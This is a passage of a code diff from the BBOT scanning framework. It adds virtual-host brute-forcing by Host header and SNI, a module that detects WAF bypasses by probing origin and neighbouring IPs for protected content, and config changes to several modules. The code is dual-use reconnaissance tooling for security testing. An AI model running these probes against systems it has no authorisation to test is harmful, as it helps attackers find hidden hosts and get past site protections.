+                    context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.url} and found {{event.type}}: {{event.data}}",
+                )
+
+    async def _test_virtualhost_candidates(
+        self,
+        discovery_method,
+        normalized_url,
+        basehost,
+        event,
+        canary_response,
+        canary_mode,
+        wordlist=None,
+        skip_dns_host=False,
+    ):
+        if wordlist is None:
+            wordlist = self.brute_wordlist
+
+        # Get baseline host for comparison and determine scheme from event
+        baseline_host = event.parsed_url.netloc
+
+        # Collect all words for concurrent processing
+        candidates_to_check = []
+        for word in self.helpers.read_file(wordlist):
+            word = word.strip()
+            if not word:
+                continue
+
+            # Construct virtual host header
+            if basehost:
+                # Wordlist entries are subdomain prefixes - append basehost
+                probe_host = f"{word}.{basehost}"
+
+            else:
+                # No basehost - use as-is
+                probe_host = word
+
+            # Skip if this would be the same as the original host
+            if probe_host == baseline_host:
+                continue
+
+            candidates_to_check.append(probe_host)
+
+        self.debug(f"Loaded {len(candidates_to_check)} candidates from wordlist for {discovery_method}")
+
+        # filter out non-IP entries (e.g. CNAME targets) — we can't connect-pin via hostname
+        host_ips = [str(h) for h in event.resolved_hosts if self.helpers.is_ip(h)]
+        total_tests = len(candidates_to_check) * len(host_ips)
+
+        self.verbose(
+            f"Initiating {total_tests} virtual host tests ({len(candidates_to_check)} candidates × {len(host_ips)} IPs) with max {self.max_concurrent} concurrent requests"
+        )
+
+        # Collect all virtual host results before emitting
+        virtual_host_results = []
+
+        # Process results as they complete with concurrency control
+        try:
+            # Build coroutines on-demand without wrapper
+            coroutines = (
+                self._test_virtualhost(
+                    normalized_url,
+                    probe_host,
+                    basehost,
+                    event,
+                    canary_response,
+                    canary_mode,
+                    skip_dns_host,
+                    host_ip,
+                    discovery_method,
+                )
+                for host_ip in host_ips
+                for probe_host in candidates_to_check
+            )
+
+            async for completed in self.helpers.as_completed(coroutines, self.max_concurrent):
+                try:
+                    result = await completed
+                except Exception as e:
+                    if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False):
+                        self.debug(f"Exception during shutdown (suppressed): {e}")
+                        break
+                    self.debug(f"Exception in virtualhost test (skipping this test): {e}")
+                    continue
+                if result:  # Only append non-None results
+                    virtual_host_results.append(result)
+                    self.debug(
+                        f"ADDED RESULT {len(virtual_host_results)}: {result['probe_host']} (similarity: {result['similarity']:.3f}) [Status: {result['status_code']} | Size: {result['content_length']} bytes]"
+                    )
+
+                    if len(virtual_host_results) >= self.MAX_RESULTS_FLOOD_PROTECTION:
+                        self.warning(
+                            f"RESULT FLOOD DETECTED: found {len(virtual_host_results)} virtual hosts (limit: {self.MAX_RESULTS_FLOOD_PROTECTION}), likely false positives - discarding results"
+                        )
+                        return []
+
+        except Exception as e:
+            if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False):
+                self.debug(f"Exception in as_completed during shutdown (suppressed): {e}")
+                return []
+            self.warning(f"Exception in as_completed, stopping all tests: {e}")
+            return []
+
+        # Return results for emission at _run_virtualhost_phase level
+        return virtual_host_results
+
+    async def _test_virtualhost(
+        self,
+        normalized_url,
+        probe_host,
+        basehost,
+        event,
+        canary_response,
+        canary_mode,
+        skip_dns_host,
+        host_ip,
+        discovery_method,
+    ):
+        """
+        Test a single virtual host candidate using HTTP Host header or HTTPS SNI
+        Returns virtual host data if detected, None otherwise
+        """
+        is_https = event.parsed_url.scheme == "https"
+
+        # Make request - different approach for HTTP vs HTTPS
+        if is_https:
+            port = event.parsed_url.port or 443
+            probe_response = await self.helpers.request(
+                url=f"https://{probe_host}:{port}/",
+                resolve_ip=host_ip,
+            )
+        else:
+            port = event.parsed_url.port or 80
+            probe_response = await self.helpers.request(
+                url=normalized_url,
+                headers={"Host": probe_host},
+                resolve_ip=host_ip,
+            )
+
+        if not probe_response or not probe_response.text:
+            protocol = "HTTPS" if is_https else "HTTP"
+            self.debug(f"{protocol} probe failed for {probe_host} on ip {host_ip} - no response or empty data")
+            return None
+
+        similarity = await self.analyze_response(probe_host, probe_response, canary_response, event)
+        if similarity is None:
+            return None
+
+        # Different from canary = possibly real virtual host, similar to canary = probably junk
+        if similarity > self.SIMILARITY_THRESHOLD:
+            self.debug(
+                f"REJECTING {probe_host}: similarity {similarity:.3f} > threshold {self.SIMILARITY_THRESHOLD} (too similar to canary)"
+            )
+            return None
+        else:
+            self.verbose(
+                f"POTENTIAL VIRTUALHOST {probe_host} sim={similarity:.3f} "
+                f"probe: {probe_response.status_code} | {len(probe_response.text or '')}B | {probe_response.url} ; "
+                f"canary: {canary_response.status_code} | {len(canary_response.text or '')}B | {canary_response.url}"
+            )
+
+        # Re-verify canary consistency before emission
+        if not await self._verify_canary_consistency(
+            canary_response, canary_mode, normalized_url, is_https, basehost, host_ip
+        ):
+            self.verbose(
+                f"CANARY CHANGED: Rejecting {probe_host}. Original canary had code {canary_response.status_code} and response data of length {len(canary_response.text or '')}"
+            )
+            return None
+        # Canary is consistent, proceed
+
+        probe_url = f"{event.parsed_url.scheme}://{probe_host}:{port}/"
+
+        # Check for keyword-based virtual host wildcards
+        if not await self._verify_canary_keyword(probe_response, probe_url, is_https, basehost, host_ip):
+            return None
+
+        # Don't emit if this would be the same as the original netloc
+        if probe_host == event.parsed_url.netloc:
+            self.verbose(f"Skipping emit for virtual host {probe_host} - is the same as the original netloc")
+            return None
+
+        # Check if this virtual host is externally accessible
+        port = event.parsed_url.port or (443 if is_https else 80)
+
+        is_externally_accessible = await self._is_host_accessible(probe_url)
+
+        # peer_ip is the actual TCP peer the response came from — ground truth, not a
+        # guess from resolved_hosts. Falls back to the pinned host_ip if peer_ip is empty.
+        response_ip = getattr(probe_response, "peer_ip", None) or host_ip
+        virtualhost_dict = {
+            "host": str(event.host),
+            "url": normalized_url,
+            "virtual_host": probe_host,
+            "description": self._build_description(
+                discovery_method, probe_response, is_externally_accessible, response_ip
+            ),
+            "ip": response_ip,
+        }
+
+        # Skip if we require inaccessible hosts and this one is accessible
+        if self.config.get("require_inaccessible", True) and is_externally_accessible:
+            self.verbose(
+                f"Skipping emit for virtual host {probe_host} - is externally accessible and require_inaccessible is True"
+            )
+            return None
+
+        # Return data for emission at _run_virtualhost_phase level
+        technique = "SNI" if is_https else "Host header"
+        return {
+            "virtualhost_dict": virtualhost_dict,
+            "similarity": similarity,
+            "probe_host": probe_host,
+            "skip_dns_host": skip_dns_host,
+            "discovery_method": f"{discovery_method} ({technique})",
+            "status_code": probe_response.status_code,
+            "content_length": len(probe_response.text or ""),
+            "probe_response": probe_response,
+        }
+
+    async def analyze_response(self, probe_host, probe_response, canary_response, event):
+        probe_status = probe_response.status_code
+        canary_status = canary_response.status_code
+
+        # Check for invalid/no response - skip processing
+        if probe_status == 0 or not probe_response.text:
+            self.debug(f"SKIPPING {probe_host} - no valid HTTP response (status: {probe_status})")
+            return None
+
+        if probe_status == 400:
+            self.debug(f"SKIPPING {probe_host} - got 400 Bad Request")
+            return None
+
+        # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist
+        if probe_status == 421:
+            self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)")
+            return None
+
+        if probe_status == 502 or probe_status == 503:
+            self.debug(f"SKIPPING {probe_host} - got 502 or 503 Bad Gateway")
+            return None
+
+        # Check for 403 Forbidden - signal that the virtual host is rejected (unless we started with a 403)
+        if probe_status == 403 and canary_status != 403:
+            self.debug(f"SKIPPING {probe_host} - got 403 Forbidden when canary status was {canary_status}")
+            return None
+
+        if probe_status == 508:
+            self.debug(f"SKIPPING {probe_host} - got 508 Loop Detected")
+            return None
+
+        # Check for redirects back to original domain - indicates virtual host just redirects to canonical
+        if probe_status in [301, 302]:
+            redirect_url = probe_response.headers.get("location", "") if probe_response.headers else ""
+            if redirect_url and str(event.parsed_url.netloc) in redirect_url:
+                self.debug(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}")
+                return None
+
+        if any(waf_string in (probe_response.text or "") for waf_string in self.waf_strings):
+            self.debug(f"SKIPPING {probe_host} - got WAF response")
+            return None
+
+        # Calculate content similarity to canary (junk response)
+        # Use probe hostname for normalization to remove hostname reflection differences
+
+        similarity = await self._response_similarity(
+            probe_response.text or "",
+            canary_response.text or "",
+            normalization_filter=probe_host,
+        )
+
+        if similarity <= self.SIMILARITY_THRESHOLD:
+            self.verbose(
+                f"POTENTIAL MATCH: {probe_host} vs canary - similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}), probe status: {probe_status}, canary status: {canary_status}"
+            )
+
+        return similarity
+
+    async def _verify_canary_keyword(self, original_response, probe_url, is_https, basehost, host_ip):
+        """Perform last-minute check on the canary for keyword-based virtual host wildcards"""
+
+        try:
+            keyword_canary_response = await self._get_canary_response(
+                probe_url, basehost, host_ip, is_https, mode="random_append"
+            )
+        except Exception as e:
+            self.warning(f"Canary verification failed: {e}")
+            return False
+
+        if not keyword_canary_response:
+            return False
+
+        # If we get the exact same content after altering the hostname, keyword based virtual host routing is likely being used
+        if (keyword_canary_response.text or "") == (original_response.text or ""):
+            self.verbose(
+                f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - response data is exactly the same"
+            )
+            return False
+
+        similarity = await self._response_similarity(original_response.text or "", keyword_canary_response.text or "")
+
+        if similarity >= self.SIMILARITY_THRESHOLD:
+            self.verbose(
+                f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - similarity: {similarity:.3f} above threshold {self.SIMILARITY_THRESHOLD} - Original: {original_response.status_code} ({len(original_response.text or '')} bytes), Current: {keyword_canary_response.status_code} ({len(keyword_canary_response.text or '')} bytes)"
+            )
+            return False
+        return True
+
+    async def _verify_canary_consistency(
+        self, original_canary_response, canary_mode, normalized_url, is_https, basehost, host_ip
+    ):
+        """Perform last-minute check on the canary for consistency"""
+
+        # Re-run the same canary test as we did initially
+        try:
+            consistency_canary_response = await self._get_canary_response(
+                normalized_url, basehost, host_ip, is_https, mode=canary_mode
+            )
+        except Exception as e:
+            self.warning(f"Canary verification failed: {e}")
+            return False
+
+        if not consistency_canary_response:
+            return False
+
+        # Check if HTTP codes are different first (hard failure)
+        if original_canary_response.status_code != consistency_canary_response.status_code:
+            self.verbose(
+                f"CANARY HTTP CODE CHANGED for {normalized_url} - Original: {original_canary_response.status_code} ({len(original_canary_response.text or '')} bytes), Current: {consistency_canary_response.status_code} ({len(consistency_canary_response.text or '')} bytes)"
+            )
+            return False
+
+        # if response data is exactly the same, we're good
+        if (original_canary_response.text or "") == (consistency_canary_response.text or ""):
+            return True
+
+        # Fallback - use similarity comparison for response data (allows slight differences)
+        similarity = await self._response_similarity(
+            original_canary_response.text or "", consistency_canary_response.text or ""
+        )
+        if similarity < self.SIMILARITY_THRESHOLD:
+            self.verbose(
+                f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.status_code} ({len(original_canary_response.text or '')} bytes), Current: {consistency_canary_response.status_code} ({len(consistency_canary_response.text or '')} bytes)"
+            )
+            return False
+        return True
+
+    def _extract_title(self, response_data):
+        """Extract title from HTML response"""
+        soup = self.helpers.beautifulsoup(response_data, "html.parser")
+        if soup and soup.title and soup.title.string:
+            return soup.title.string.strip()
+        return None
+
+    def _build_description(self, discovery_string, probe_response, is_externally_accessible=None, host_ip=None):
+        """Build detailed description with discovery technique and content info"""
+        http_code = probe_response.status_code if probe_response else "N/A"
+        response_size = len(probe_response.text or "") if probe_response else 0
+
+        description = f"Discovery Technique: [{discovery_string}], Discovered Content: [Status Code: {http_code}]"
+
+        # Add title if available
+        title = self._extract_title(probe_response.text or "" if probe_response else "")
+        if title:
+            description += f" [Title: {title}]"
+        description += f" [Size: {response_size} bytes]"
+
+        # Add IP address if available
+        if host_ip:
+            description += f" [IP: {host_ip}]"
+
+        # Add accessibility information if available
+        if is_externally_accessible is not None:
+            accessibility_status = "externally accessible" if is_externally_accessible else "not externally accessible"
+            description += f" [Access: {accessibility_status}]"
+
+        return description
+
+    def mutations_check(self, virtualhost):
+        mutations_list = []
+        for mutation in self.helpers.word_cloud.mutations(virtualhost, cloud=False):
+            mutations_list.extend(["".join(mutation), "-".join(mutation)])
+        mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False)
+        return mutations_list_file
+
+    async def finish(self):
+        # phase 5: check existing hosts with wordcloud
+        self.verbose(" === Starting Finish() Wordcloud check === ")
+        if not self.config.get("wordcloud_check", False):
+            self.debug("FINISH METHOD: Wordcloud check is disabled, skipping finish phase")
+            return
+
+        if not self.helpers.word_cloud.keys():
+            self.verbose("FINISH METHOD: No wordcloud data available for finish phase")
+            return
+
+        # Filter wordcloud words: no dots, reasonable length limit
+        all_wordcloud_words = list(self.helpers.word_cloud.keys())
+        filtered_words = []
+        for word in all_wordcloud_words:
+            # Filter out words with dots (likely full domains)
+            if "." in word:
+                continue
+            # Filter out very long words (likely noise)
+            if len(word) > 15:
+                continue
+            # Filter out very short words (likely noise)
+            if len(word) < 2:
+                continue
+            filtered_words.append(word)
+
+        tempfile = self.helpers.tempfile(filtered_words, pipe=False)
+        self.debug(
+            f"FINISH METHOD: Starting wordcloud check on {len(self.scanned_hosts)} hosts using {len(filtered_words)} filtered words from wordcloud"
+        )
+
+        for host, event in self.scanned_hosts.items():
+            if host not in self.wordcloud_tried_hosts:
+                host_parsed_url = urlparse(host)
+
+                if self.config.get("force_basehost"):
+                    basehost = self.config.get("force_basehost")
+                else:
+                    basehost, subdomain = self._get_basehost(event)
+
+                # Get fresh canary and original response for this host
+                is_https = host_parsed_url.scheme == "https"
+
+                if not event.resolved_hosts:
+                    self.debug(f"FINISH METHOD: No resolved hosts for {host}, skipping wordcloud check")
+                    continue
+
+                host_ip = str(next(iter(event.resolved_hosts)))
+
+                self.verbose(f"FINISH METHOD: Starting wildcard check for {host}")
+                baseline_response = await self._get_baseline_response(event, host, host_ip)
+                if not await self._wildcard_canary_check(
+                    host_parsed_url.scheme, host_parsed_url.netloc, event, host_ip, baseline_response
+                ):
+                    self.debug(
+                        f"WILDCARD CHECK FAILED in finish: Skipping {host} in wordcloud phase - failed virtual host wildcard check"
+                    )
+                    self.wordcloud_tried_hosts.add(host)  # Mark as tried to avoid retrying
+                    continue
+                else:
+                    self.debug(f"WILDCARD CHECK PASSED in finish: Proceeding with wordcloud mutations for {host}")
+
+                await self._run_virtualhost_phase(
+                    "Target host wordcloud mutations",
+                    host,
+                    basehost,
+                    host_ip,
+                    is_https,
+                    event,
+                    "subdomain",
+                    wordlist=tempfile,
+                )
+                self.wordcloud_tried_hosts.add(host)
+
+    async def filter_event(self, event):
+        if (
+            "cdn-cloudflare" in event.tags
+            or "cdn-imperva" in event.tags
+            or "cdn-akamai" in event.tags
+            or "cdn-cloudfront" in event.tags
+        ):
+            self.debug(f"Not processing URL {event.url} because it's behind a WAF or CDN, and that's pointless")
+            return False
+        return True
diff --git a/bbot/modules/virustotal.py b/bbot/modules/virustotal.py
index b932419450..fac3738062 100644
--- a/bbot/modules/virustotal.py
+++ b/bbot/modules/virustotal.py
@@ -1,18 +1,19 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class virustotal(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query VirusTotal's API for subdomains",
         "created_date": "2022-08-25",
         "author": "@TheTechromancer",
-        "auth_required": True,
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "VirusTotal API Key"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="VirusTotal API Key", sensitive=True, mandatory=True)
 
     base_url = "https://www.virustotal.com/api/v3"
     api_page_iter_kwargs = {"json": False, "next_key": lambda r: r.json().get("links", {}).get("next", "")}
diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py
new file mode 100644
index 0000000000..1ddae0aad4
--- /dev/null
+++ b/bbot/modules/waf_bypass.py
@@ -0,0 +1,273 @@
+from radixtarget import RadixTarget
+from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+from bbot.core.helpers.simhash import compute_simhash
+
+
+class waf_bypass(BaseModule):
+    """
+    Module to detect WAF bypasses by finding direct IP access to WAF-protected content.
+
+    Overview:
+        Throughout the scan, we collect:
+        1. WAF-protected domains (identified by CloudFlare/Imperva tags) and their SimHash content fingerprints
+        2. All domain->IP mappings from DNS resolution of URL events
+        3. Cloud IPs separately tracked via "cloud-ip" tags
+
+        In finish(), we test if WAF-protected content can be accessed directly via IPs from non-protected domains.
+        Optionally, it explores IP neighbors within the same ASN to find additional bypass candidates.
+    """
+
+    watched_events = ["URL"]
+    produced_events = ["FINDING"]
+    flags = ["active", "safe", "web-heavy"]
+
+    class Config(BaseModuleConfig):
+        similarity_threshold: float = Field(0.90, description="Similarity threshold for content matching")
+        search_ip_neighbors: bool = Field(True, description="Also check IP neighbors of the target domain")
+        neighbor_cidr: int = Field(
+            24,
+            ge=24,
+            le=31,
+            description="CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true",
+        )
+
+    meta = {
+        "description": "Detects potential WAF bypasses",
+        "author": "@liquidsec",
+        "created_date": "2025-09-26",
+    }
+
+    async def setup(self):
+        # Track protected domains and their potential bypass CIDRs
+        self.protected_domains = {}  # {domain: event} - track protected domains and store their parent events
+        self.domain_ip_map = {}  # {full_domain: set(ips)} - track all IPs for each domain
+        self.content_fingerprints = {}  # {url: {simhash, http_code}}
+        self.similarity_threshold = self.config.get("similarity_threshold", 0.90)
+        self.search_ip_neighbors = self.config.get("search_ip_neighbors", True)
+        self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24))
+
+        # Keep track of (protected_domain, ip) pairs we have already attempted to bypass
+        self.attempted_bypass_pairs = set()
+        # Keep track of any IPs that came from hosts that are "cloud-ips"
+        self.cloud_ips = set()
+        return True
+
+    async def filter_event(self, event):
+        if "endpoint" in event.tags:
+            return False, "WAF bypass module only considers directory URLs"
+        return True
+
+    async def handle_event(self, event):
+        domain = str(event.host)
+        url = event.url
+
+        # Store the IPs that each domain (that came from a URL event) resolves to. We have to resolve ourself, since normal BBOT DNS resolution doesn't keep ALL the IPs
+        domain_dns_response = await self.helpers.dns.resolve(domain)
+        if domain_dns_response:
+            if domain not in self.domain_ip_map:
+                self.domain_ip_map[domain] = set()
+            for ip in domain_dns_response:
+                ip_str = str(ip)
+                # Validate that this is actually an IP address before storing
+                if self.helpers.is_ip(ip_str):
+                    self.domain_ip_map[domain].add(ip_str)
+                    self.debug(f"Mapped domain {domain} to IP {ip_str}")
+                    if "cloud-ip" in event.tags:
+                        self.cloud_ips.add(ip_str)
+                        self.debug(f"Added cloud-ip {ip_str} to cloud_ips")
+                else:
+                    self.warning(f"DNS resolution for {domain} returned non-IP result: {ip_str}")
+        else:
+            self.warning(f"DNS resolution failed for {domain}")
+
+        # Detect WAF/CDN protection based on tags
+        provider_name = None
+        if "cdn-cloudflare" in event.tags or "waf-cloudflare" in event.tags:
+            provider_name = "CloudFlare"
+        elif "cdn-imperva" in event.tags:
+            provider_name = "Imperva"
+
+        is_protected = provider_name is not None
+
+        if is_protected:
+            self.debug(f"{provider_name} protection detected via tags: {event.tags}")
+            # Save the full domain and event for WAF-protected URLs, this is necessary to find the appropriate parent event later in .finish()
+            self.protected_domains[domain] = event
+            self.debug(f"Found {provider_name}-protected domain: {domain}")
+
+            response = await self.get_url_content(url)
+            if not response:
+                self.debug(f"Failed to get response from protected URL {url}")
+                return
+
+            if not response.text:
+                self.debug(f"Failed to get content from protected URL {url}")
+                return
+
+            # Store a "simhash" (fuzzy hash) of the response data for later comparison
+            simhash = await self.helpers.run_in_executor_mp(compute_simhash, response.text)
+
+            self.content_fingerprints[url] = {
+                "simhash": simhash,
+                "http_code": response.status_code,
+            }
+            self.debug(f"Stored simhash of response from {url} (content length: {len(response.text)})")
+
+    async def get_url_content(self, url, ip=None):
+        """Helper function to fetch content from a URL, optionally through specific IP"""
+        try:
+            kwargs = {"url": url}
+            if ip:
+                self.debug(f"Fetching with resolve_ip={ip} for {url}")
+                kwargs["resolve_ip"] = str(ip)
+            response = await self.helpers.request(**kwargs)
+            if not response:
+                self.debug(f"No content returned for {url}" + (f" via IP {ip}" if ip else ""))
+                return None
+            if response.status_code not in [200, 301, 302, 500]:
+                self.debug(f"Rejected {url} - Status: {response.status_code} (not in allowed list)")
+                return None
+            return response
+        except Exception as e:
+            self.debug(f"Error fetching content from {url}: {str(e)}")
+        return None
+
+    async def check_ip(self, ip, source_domain, protected_domain, source_event):
+        matching_url = next(
+            (url for url in self.content_fingerprints if self.helpers.urlparse(url).hostname == protected_domain),
+            None,
+        )
+
+        if not matching_url:
+            self.debug(f"No matching URL found for {protected_domain} in stored fingerprints")
+            return None
+
+        original_response = self.content_fingerprints[matching_url]
+
+        self.verbose(f"Bypass attempt: {protected_domain} via {ip} from {source_domain}")
+
+        bypass_response = await self.get_url_content(matching_url, ip)
+        if not bypass_response:
+            self.debug(f"Failed to get content through IP {ip} for URL {matching_url}")
+            return None
+
+        bypass_simhash = await self.helpers.run_in_executor_mp(compute_simhash, bypass_response.text or "")
+
+        if original_response["http_code"] != bypass_response.status_code:
+            self.debug(f"Ignoring code difference {original_response['http_code']} != {bypass_response.status_code}")
+            return None
+
+        is_redirect = bypass_response.status_code in (301, 302)
+
+        similarity = self.helpers.simhash.similarity(original_response["simhash"], bypass_simhash)
+
+        # For redirects, require exact match (1.0), otherwise use configured threshold
+        required_threshold = 1.0 if is_redirect else self.similarity_threshold
+        return (matching_url, ip, similarity, source_event) if similarity >= required_threshold else None
+
+    async def finish(self):
+        self.verbose(f"Found {len(self.protected_domains)} Protected Domains")
+
+        confirmed_bypasses = []  # [(protected_url, matching_ip, similarity)]
+        ip_bypass_candidates = {}  # {ip: domain}
+        waf_ips = set()
+
+        # First collect all the WAF-protected DOMAINS we've seen
+        for protected_domain in self.protected_domains:
+            if protected_domain in self.domain_ip_map:
+                waf_ips.update(self.domain_ip_map[protected_domain])
+
+        # Then collect all the non-WAF-protected IPs we've seen
+        for domain, ips in self.domain_ip_map.items():
+            self.debug(f"Checking IP {ips} from domain {domain}")
+            if domain not in self.protected_domains:  # If it's not a protected domain
+                for ip in ips:
+                    # Validate that this is actually an IP address before processing
+                    if not self.helpers.is_ip(ip):
+                        self.warning(f"Skipping non-IP address '{ip}' found in domain_ip_map for {domain}")
+                        continue
+
+                    if ip not in waf_ips:  # And IP isn't a known WAF IP
+                        ip_bypass_candidates[ip] = domain
+                        self.debug(f"Added potential bypass IP {ip} from domain {domain}")
+
+                        # if we have IP neighbors searching enabled, and the IP isn't a cloud IP, we can add the IP neighbors to our list of potential bypasses
+                        if self.search_ip_neighbors and ip not in self.cloud_ips:
+                            import ipaddress
+
+                            # Get the ASN data for the IP - used later to keep brute force from crossing ASN boundaries
+                            asn_data = await self.helpers.asn.ip_to_subnets(str(ip))
+                            if asn_data:
+                                # Build a radix tree of the ASN subnets for the IP
+                                asn_subnets_tree = RadixTarget()
+                                for subnet in asn_data["subnets"]:
+                                    asn_subnets_tree.insert(subnet)
+
+                                # Generate a network based on the neighbor_cidr option
+                                neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False)
+                                for neighbor_ip in neighbor_net.hosts():
+                                    neighbor_ip_str = str(neighbor_ip)
+                                    # Don't add the neighbor IP if its: ip we started with, a waf ip, or already in the list
+                                    if (
+                                        neighbor_ip_str == ip
+                                        or neighbor_ip_str in waf_ips
+                                        or neighbor_ip_str in ip_bypass_candidates
+                                    ):
+                                        continue
+
+                                    # make sure we aren't crossing an ASN boundary with our neighbor exploration
+                                    if asn_subnets_tree.search(neighbor_ip_str):
+                                        self.debug(
+                                            f"Added Neighbor IP ({ip} -> {neighbor_ip_str}) as potential bypass IP derived from {domain}"
+                                        )
+                                        ip_bypass_candidates[neighbor_ip_str] = domain
+                    else:
+                        self.debug(f"IP {ip} is in WAF IPS so we don't check as potential bypass")
+
+        self.verbose(f"\nFound {len(ip_bypass_candidates)} non-WAF IPs to check")
+
+        coros = []
+        new_pairs_count = 0
+
+        for protected_domain, source_event in self.protected_domains.items():
+            for ip, src in ip_bypass_candidates.items():
+                combo = (protected_domain, ip)
+                if combo in self.attempted_bypass_pairs:
+                    continue
+                self.attempted_bypass_pairs.add(combo)
+                new_pairs_count += 1
+                self.debug(f"Checking {ip} for {protected_domain} from {src}")
+                coros.append(self.check_ip(ip, src, protected_domain, source_event))
+
+        self.verbose(
+            f"Checking {new_pairs_count} new bypass pairs (total attempted: {len(self.attempted_bypass_pairs)})..."
+        )
+
+        self.debug(f"about to start {len(coros)} coroutines")
+        async for completed in self.helpers.as_completed(coros):
+            result = await completed
+            if result:
+                confirmed_bypasses.append(result)
+
+        if confirmed_bypasses:
+            # Aggregate by URL and similarity
+            agg = {}
+            for matching_url, ip, similarity, src_evt in confirmed_bypasses:
+                rec = agg.setdefault((matching_url, round(similarity, 2)), {"ips": [], "event": src_evt})
+                rec["ips"].append(ip)
+
+            for (matching_url, sim_key), data in agg.items():
+                ip_list = data["ips"]
+                ip_list_str = ", ".join(sorted(set(ip_list)))
+                await self.emit_event(
+                    {
+                        "severity": "MEDIUM",
+                        "confidence": "CONFIRMED",
+                        "name": "WAF Bypass",
+                        "url": matching_url,
+                        "description": f"WAF Bypass Confirmed - Direct IPs: {ip_list_str} for {matching_url}. Similarity {sim_key:.2%}",
+                    },
+                    "FINDING",
+                    data["event"],
+                )
diff --git a/bbot/modules/wafw00f.py b/bbot/modules/wafw00f.py
index aa6f14df8c..42236f16d5 100644
--- a/bbot/modules/wafw00f.py
+++ b/bbot/modules/wafw00f.py
@@ -3,6 +3,7 @@
 
 # disable wafw00f logging
 import logging
+from bbot.core.config.models import BaseModuleConfig, Field
 
 wafw00f_logger = logging.getLogger("wafw00f")
 wafw00f_logger.setLevel(logging.CRITICAL + 100)
@@ -15,7 +16,7 @@ class wafw00f(BaseModule):
 
     watched_events = ["URL"]
     produced_events = ["WAF"]
-    flags = ["active", "aggressive"]
+    flags = ["active", "loud"]
     meta = {
         "description": "Web Application Firewall Fingerprinting Tool",
         "created_date": "2023-02-15",
@@ -24,8 +25,10 @@ class wafw00f(BaseModule):
 
     deps_pip = ["wafw00f~=2.3.1"]
 
-    options = {"generic_detect": True}
-    options_desc = {"generic_detect": "When no specific WAF detections are made, try to perform a generic detect"}
+    class Config(BaseModuleConfig):
+        generic_detect: bool = Field(
+            True, description="When no specific WAF detections are made, try to perform a generic detect"
+        )
 
     in_scope_only = True
     per_hostport_only = True
@@ -41,8 +44,8 @@ def _incoming_dedup_hash(self, event):
 
     async def handle_event(self, event):
         url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/"
-        WW = await self.helpers.run_in_executor(wafw00f_main.WAFW00F, url, followredirect=False)
-        waf_detections, url = await self.helpers.run_in_executor(WW.identwaf)
+        WW = await self.helpers.run_in_executor_io(wafw00f_main.WAFW00F, url, followredirect=False)
+        waf_detections, url = await self.helpers.run_in_executor_io(WW.identwaf)
         if waf_detections:
             for waf in waf_detections:
                 await self.emit_event(
@@ -53,7 +56,7 @@ async def handle_event(self, event):
                 )
         else:
             if self.config.get("generic_detect") is True:
-                generic = await self.helpers.run_in_executor(WW.genericdetect)
+                generic = await self.helpers.run_in_executor_io(WW.genericdetect)
                 if generic:
                     waf = "generic detection"
                     await self.emit_event(
diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py
index fbb30da7a9..e58f6d9a37 100644
--- a/bbot/modules/wayback.py
+++ b/bbot/modules/wayback.py
@@ -1,87 +1,787 @@
+import re
+import bisect
+from collections import Counter
 from datetime import datetime
+from urllib.parse import parse_qs, urlparse, urlunparse
 
+import orjson
+
+from bbot.core.helpers.misc import get_file_extension
+from bbot.core.helpers.validators import clean_url
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+def _parse_cdx_response(text):
+    """Parse CDX JSON response text into a URL list. Designed to run in a separate process."""
+    j = orjson.loads(text)
+    if not isinstance(j, list):
+        return None
+    return [result[0] for result in j[1:] if result]
 
 
 class wayback(subdomain_enum):
-    flags = ["passive", "subdomain-enum", "safe"]
-    watched_events = ["DNS_NAME"]
-    produced_events = ["URL_UNVERIFIED", "DNS_NAME"]
+    flags = ["safe", "passive", "subdomain-enum"]
+    watched_events = ["DNS_NAME", "URL"]
+    produced_events = ["URL_UNVERIFIED", "DNS_NAME", "WEB_PARAMETER", "HTTP_RESPONSE", "FINDING"]
     meta = {
-        "description": "Query archive.org's API for subdomains",
+        "description": "Query archive.org's Wayback Machine for subdomains, URLs, parameters, and archived content",
         "created_date": "2022-04-01",
         "author": "@liquidsec",
     }
-    options = {"urls": False, "garbage_threshold": 10}
-    options_desc = {
-        "urls": "emit URLs in addition to DNS_NAMEs",
-        "garbage_threshold": "Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)",
-    }
+
+    class Config(BaseModuleConfig):
+        urls: bool = Field(False, description="emit URLs in addition to DNS_NAMEs")
+        garbage_threshold: int = Field(
+            10,
+            description="Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)",
+        )
+        parameters: bool = Field(
+            False,
+            description="emit WEB_PARAMETER events for query parameters discovered in archived URLs (requires urls=true)",
+        )
+        archive: bool = Field(
+            False,
+            description="fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true)",
+        )
+        max_records: int = Field(100000, description="Maximum number of URLs to fetch from the CDX API")
+
     in_scope_only = True
 
